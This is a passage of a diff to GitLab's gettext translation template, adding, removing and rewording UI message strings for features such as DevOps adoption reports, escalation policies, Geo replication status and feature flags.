+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
